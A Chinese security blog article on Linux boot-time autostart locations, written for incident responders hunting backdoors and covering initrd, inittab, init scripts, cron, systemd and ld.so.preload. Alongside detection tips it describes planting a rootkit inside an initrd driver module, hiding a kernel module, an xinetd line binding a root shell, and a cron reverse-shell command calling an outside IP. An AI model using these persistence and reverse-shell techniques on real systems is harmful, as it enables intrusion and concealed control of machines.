您还未登录! 登录 | 注册 | 帮助  

您的位置: 首页 > 软件开发专栏 > 系统/运维 > 正文

Linux安全系列之启动篇

发表于:2019-02-13 作者:不必再等 来源:等级保护测评

Linux的自启动项,相对Windows来说简单太多了,在我们应急响应中操作系统的启动方式有哪些这个是一定要知道的,不然后门也清除不干净啊。

我们先说下linux的启动过程,十几年前某位黑阔大佬写了一篇文章,说今天面试了一个脚本小子,让他说出linux 的启动过程,他嘤嘤嘤了半天没嘤出个所以然来。看了以后,我也学会了,请问linux的启动过程是什么?哈哈,虽然我自己也不知道,但我就喜欢问。

我们就百度一下Linux的启动过程吧。

如上图所示,一系列的东西:

BIOS自检-->从BIOS中读取启动顺序-->读取MBR中的bootloader-->加载内核-->读取伪根-->读取根文件中的init

网上还有很多文字说明,但可能你即使把那几大段文字全部背下来也没啥用,过两天就忘了,因为你不知道重点。

我挑些重点来说说:

不愿意看废话的,可直接跳到正文章节initrd

BIOS检查磁盘的MBR信息,从中找到bootloader程序加以执行

GRUB的第一阶段(其实就是bootloader)后,GRUB进入第1.5阶段,这个阶段主要是加载boot分区对应的文件系统的驱动,然后挂载boot分区,此时GRUB才真正完整了,再然后GRUB才能读取/boot上的文件和放在boot上的自身的第二阶段的代码,GRUB第二阶段,程序会根据/boot/grub/grub.conf的配置加载对应的内核。

那么/boot下放了哪些什么东西呢?

  1. Grub第二阶段的配置文件(grub.conf)
  2. 一个名为Vmliunz-版本号的压缩文件,这个其实就是系统的内核(有经验的同学会知道,使用GDB动态调试内核kcore然后跟静态内核比较异常时,就是比较的这个文件里的地址)
  3. 一个名为initrd-版本号*img或者initramfs-版本号*img的压缩映像文件

继续上面的,重点是加载内核这个是怎么加载的,上面已经说了,内核其实就是/boot/vmlinuz这个文件,加载内核就是把这个文件加载进内存,但我们看下面这个配置,你会发现,加载/boot/vmlinuz的同时还加载了一个/boot/initrd*.img的东西。

我们cat/boot/grub/ grub.conf如下:

这是个什么东西呢,如上图所示,在 linux内核启动前, bootloader会先将存储介质中的 initrd 文件和kernel文件加载进内存,kernel启动时会先访问该内存中的 initrd 文件系统。为什么要把内核分成两块,因为此时你不能挂载真正的根文件系统,想挂载,就得跟上面挂载boot一样先加载必要的驱动,然而根文件系统支持IDE、SCSI、USB等多种介质,如果将这些设备的驱动都编译进内核,内核文件(vmlinuz)将难以想象的庞大。因此才将驱动剥离出来放在initrd文件里加载,我们平时lsmod可能会看到好多正在运行的驱动模块,但是不知道他们是怎么自动加载的。他们事实上是在kernel加载前就加载了,他们被放在initrd里面。

我们可以解压initrd看看:

执行命令

我这里是2.6的内核所以用的cpio,与2.4使用的 image-initrd不同2.6基本都用的cpio-initrd,至于image-initrd和cpio-initrd有什么区别,自行百度。

我们cat 当前目录的init可以见到一些加载驱动的信息:

内核启动分两个阶段:

第一阶段当initrd/initramfs*.img这个文件被加载到内存中,它会伪装成一个根文件系统(伪rootfs),在这个伪根下有一个脚本文件/init (2.4内核版本核心文件是 /linuxrc而不是 /init),执行这个/init,它会负责查找并加载内核访问根文件系统必须的驱动,成功加载根文件系统存储介质所需要的驱动模块后,最后加载真正的根realfs(真rootfs)。

第二阶段才会执行真正的根文件系统中的 /sbin/init 进程。执行到这一点,内核的工作全部结束,完全交给/sbin/init文件处理。在/init脚本的最后有这么一行:init=/sbin/init

该行指定了硬盘realfs中的第一个要执行的程序的位置,该变量init指定了这个脚本最后要执行的进程为/sbin/init。

细心的你可能会发现上面/boot/grub/grub.conf里使用的不是initrd而是initramfs,他们有什么区别和优缺点呢?限于篇幅,请自行百度。

正文

根据上文的梳理,我们来到第一个自启动的利用点:

一.Initrd

如果我们把/boot下的initrd文件解压,把里面的init脚本以及它包含的脚本修改了,再把这个initrd重新打包成*img,替换原有的initrd,那么有什么效果呢?

效果是,系统重启后会加载我们修改过的initrd,实现一些你想要达到的目的。

如:我们可以在init脚本的子脚本functions中自定义要加载的内核模块,也可以直接在load_modules()中加载自己的模块,这些都能让我们的模块随着系统自启动。

当然更阴险的是,替换initrd内的.ko驱动模块(这个可比替换外面的系统关键模块阴险多了),然后再次打包换掉原有的initrd文件,这样系统重启后,你的替换模块就工作了。

我们演示下:

我们lsmod找一个活着的系统驱动,我们就选定cdrom,我们先把我们的后门rootkit.c编译成rookit.ko

这里注意rootkit.c的编写,执行我们的代码前要先让原本的cdrom_init跑起来,而模块B中要用extern 声明需要用到的A模块提供的函数,所以要这样写:


  1. externint __init cdrom_init(void); 
  2. int__init rootkit(void) { 
  3. cdrom_init(); 

然后把initrd解压到test目录(解压方法上面有介绍),再找到cdrom.ko,copy到rootkit.ko目录

上面第二行命令是把init函数的作用域从本地更改为全局

第三行是把我们的后门和原始的cdrom.ko连接起来成为一个新的ko

此时我们就可以把这个新的ko替换到test目录下的initrd里面了

但是我们还要做一件事,就是我们需要把我们ko入口地址修改成我们的rootkit函数的地址,我们可以看一下,入口init_module和rootkit()的地址现在分别是多少:


  1. objdump -t cdrom_new.ko|grep init 

可以看到是不一样的,我们的地址是0000000000000011

所以我们要先把init_module的地址修改为0000000000000011

修改工具可以加入知识星球后获取(加入方式见文章末尾)

好了,现在我们可以把这个cdrom_new.ko覆盖掉原来test目录下的cdrom.ko

然后把initrd重新打包,覆盖掉原本的/boot/initrd.img-4.6.0-kali1-amd64

然后重启

执行dmesg|grep Rootkit 我们可以看到如下:

当然kernel也可以做手脚,有兴趣的同学可以试试。

我们怎么检查它是否被篡改了呢?简单的检查下可以用,stat 看一下时间对不对,当然要看change time,其他时间没有用。

stat /boot/initrd-2.6.32-431.el6.x86_64.img

二.Inittab

内核加载完毕,控制权交给了初始化程序init,init会根据/etc/inittab中定义的系统运行级别等动作来进行脚本执行。所以这个配置文件inittab成了第二个启动点。

比如:大名鼎鼎的shv5及其变种ddrk和mafix都是这种启动方式,他们篡改后的inittab截图:

设定了2345运行级别时都会执行一次/usr/sbin/ttyload(后门程序)

三.Sysinit

init第一个被执行的脚本为/etc/rc.d/rc.sysinit,这个是真正的OS初始化脚本,这个脚本大概的作用是如激活udev和selinux,装载硬盘映射,挂载其他文件系统等。修改它当然可以实现自启动,另外它还提供了两个模块加载的地方,实现模块自启动,如下图:

四.服务

init会根据定义的启动级别去执行相应目录下的脚本,在不同的运行级别下,/etc/rc.d/rc这个脚本会分别执行不同目录下的脚本.

如:Run level 0– /etc/rc.d/rc0.d/

这些目录下的脚本只有K*和S*开头的文件,K开头的文件为开机需要执行关闭的服务,S开头的文件为开机需要执行开启的服务。

于是这些脚本成了高危项,尤其是S开头的脚本。哪些服务是否开启关闭可以用chkconfig –list查看,但我们最怕的还是这些脚本被篡改了。

我们怎么检查服务是否被篡改了呢?

可以用ctime及其家族成员newerct来检查,ctime是一个非常重要的参数,它代表了变更时间,一切变更,包括状态属性权限等,它是最可靠的检查方式,跟ctime异曲同工的还有newerct,当然stat命令也可看一切,只是只能查看单一文件。

当然执行stat find等命令时最好先用rpm –Vf看一下,或者用自己的命令工具包。

如下图:

我们执行ls –larth 显示最后一个改动的服务是mysqld

但是我们执行命令find . –ctime-100显示最后一个被更改的服务不是mysqld

如上图:functions服务在100天内被篡改了,我们继续cat看看里面是什么内容

可以看到在第二行的两个注释中间被人加了这么一行代码,就是服务启动的时候执行/var/tmp/rootkit并且不输出标准输出和错误输出。

正常情况下,都是放在最前面的那些注释行里(尤其是自动的病毒),也有放最后的,这个可不一定,特征基本都是xxx >/dev/null,这样的形式,为了不显示启动输出。

注意,这里要先cd /etc/init.d,因为它都是软链接,所以一定要先进入这个目录,而不能直接使用find /etc/init.d -ctime

90%的linux后门是通过这种方式启动的,如果学会此招,可发现90%的后门。

五.rc.loacl

init根据配置的启动级别,执行对应目录底下的脚本,最后执行/etc/rc.d/rc.local这个脚本,至此,系统启动完成。

这个/etc/rc.local脚本我们很多管理员启动应用服务都喜欢放这里面,不多说。

六.模块

上面介绍sysinit的时候说了,这个脚本提供了两个地方可以自启动模块,分别是


  1. /etc/rc.modules和/etc/sysconfig/modules/*.modules 

上面这是redhat/centos系列的

Debian/Ubuntu/kali系列的是这个文件 /etc/modules

除此之外,模块的启动大多数情况下,要依赖于服务启动和其他启动脚本,这是不同于windows的,甚至2.6版本模块的启动地位比起2.4也大大下降,大多数情况下模块的地位居然没有服务优先级别高。

当然了,系统关键模块的地位还是高的,所以这些系统关键模块是否被替换,也是一个检查点,依然可用ctime检查。

另外,centos系列下还存在一种在线向initrd内部更新驱动模块的方法,可在/etc/initramfs-tools/modules文件中添加相应模块的模块名及其参数,然后用update-initramfs-u -k命令进行更新。

lsmod显示的是正在运行的模块,modprobe –l显示的是所有可加载的模块(不一定在运行)

有时候最粗糙的隐藏模块手段只隐藏了lsmod命令,我们的可用模块都在/sys/modules下,但是正在运行的模块和没有运行的模块是有特征的,没运行的模块,其模块目录下只有一个空目录parameters

而正在运行的模块,就有这几个目录,如图:

我们可以通过一个脚本来循环比较/sys/modules下各模块目录下parameters的结果和lsmod的结果,来确定是否存在隐藏模块,当然这个很不靠谱。

一行代码kobject_del(&THIS_MODULE->mkobj.kobj);就逃过了检查。这里主要说的是模块的自启动,关于模块的隐藏和检查,我们以后再详说。

至此我们阅尽了linux的一生,希望对大家系统的了解linux有所帮助。

七.网络子服务

一些小服务可以放在inetd/xinetd里托管,他们配置的一些允许开机启动的程序可能会被替换,或者在配置文件里被替换成别的程序,或者在配置文件开启一些危险的服务。如:daytime stream tcp nowait root /bin/bash bash –i就开启了daytime服务绑定了一个shell来作为后门。

不多说,检查/etc/inetd.conf或/etc/xinetd.d即可

八.环境变量

在环境变量文件(/etc/profile.bashrc .bash_profile .bash_logout)里添加命令,当管理员登陆或退出的时候这个命令会执行(类似于windows的启动目录)

曾经我应急响应时就遇到过某电商的一台图片服务器,整个服务器不能解析,但WEB根目录就是一个普通用户的home目录,某黑产大佬,通过前台上传图片的地方,直接上传了一个.bashrc覆盖了原来的.bashrc,当礼拜一管理员登陆这个普通用户时执行了反弹shell,沦陷!!!

九.计划任务

Linux的计划任务有3个地方


  1. /etc/crontab 
  2. /etc/cron.d/ 
  3. /var/spool/cron/(Debian/Ubuntu系列为/var/spool/cron/crontabs/) 

其中/etc/crontab和/etc/cron.d/是系统的计划

/var/spool/cron/是用户的计划

我们平常执行的crontab -l 看到的其实是/var/spool/cron/下的东西

黑客通常在这三个地方添加* * * * *这样的内容,意为一分钟后执行,比如这个反弹的rootshell

* * * * * root /bin/bash-i>&/dev/tcp/192.168.152.129/4444 0>&1

如果大家搞过渗透测试,遇到像redis,rsync,nfs或者一个上传点可以写入操作系统任意位置的这些漏洞,我们在windows2003下可以写入mof或启动目录,那么linux呢,我们正常写入.bashrc,.ssh/authorized_keys,/etc/crontab,/etc/cron.d/,/var/splool/cron这些位置,可见计划任务目录是我们渗透中永恒的利用主题。

其实对计划任务目录的利用并不是那么容易的,这中间是有细微区别的,因为它们对权限的要求极高,比如/etc/cron.d 这个目录必须具有x权限才能定时执行,/var/splool/cron这个目录想要执行必须不能具有w权限,打个比方,有一个mysql数据库的注入点,mysql是以双root权限运行的,并且没有魔法字符的干扰,也没有secure_file_priv的限制,可以向服务器任意地方写文件,那么你写进这三个计划任务的地方就能得到rootshell吗?

答案是否定的,为什么?

  1. /etc/crontab 遗憾的是mysql不具有覆盖性,这个文件本身已存在,所以不行
  2. /etc/cron.d 我们说下mysql默认的umask(掩码),默认是022,666-022是644,注意linux新文件的创建满格就是666而不是777,天生不具有执行权限,所以644权限,/etc/cron.d那自然是不让执行的了
  3. /var/splool/cron这个不能具有w权限,而644就是rw-r--r--,有写权限,所以也是不行的了

上面说这么多废话,只是告诉管理员:好的安全运维人员应该了解到服务器上的哪些应用可以被利用,有可能产生威胁,如果被利用,他们只能在哪个点被利用,哪里被增加或修改,这个是需要管理员知道的,是否要当过操盘手才能去炒股,是否要当过黑客才能去做安全运维?虽说不一定~但至少要大致了解他们的套路。

十.图形化环境的自启动

基于gnome桌面环境和Xorg的系统可能需要注意这两个文件


  1. /etc/xdg/autostart  
  2. ~/.config/autostart 

十一.Systemd

Debian系列支持systemd,这玩意最皮的是可以设置随用户登陆来启动服务,也就是说不需要root用户也能设置自启动服务。

十二.动态链接库

这个类似于windows下的LPK劫持,我们上篇进程篇时讲了,可以设置/etc/ld.so.preload让使用了动态编译的程序先加载我们的so文件,这样只要用户登陆后执行任何命令就可以加载我们的so,so程序中使用__attribute__((constructor))就能使得so一旦被加载就执行我们的代码,来达到我们的目的。

十三.其他

当然还有一些歪门邪道的东西很多很杂,比如替换export,umask,unset等命令,这些命令在用户的profile里有定义,当用户登陆时会调用这些命令来设置一些环境变量啥的,那么就会执行这些命令程序,还有比如替换last日志,当用户登陆时会显示上次登陆,来执行perl脚本。替换系统文件啊,Pam.d后门替换啊。还有任何程序都可能执行自己home目录的rc文件,比如我们可以在vimrc里写入执行代码等等。我们的检查方式也主要是介绍的应用级的,如果被驱动隐藏了,那又是另外一回事,后面会介绍内核模块的对抗。

 相关文章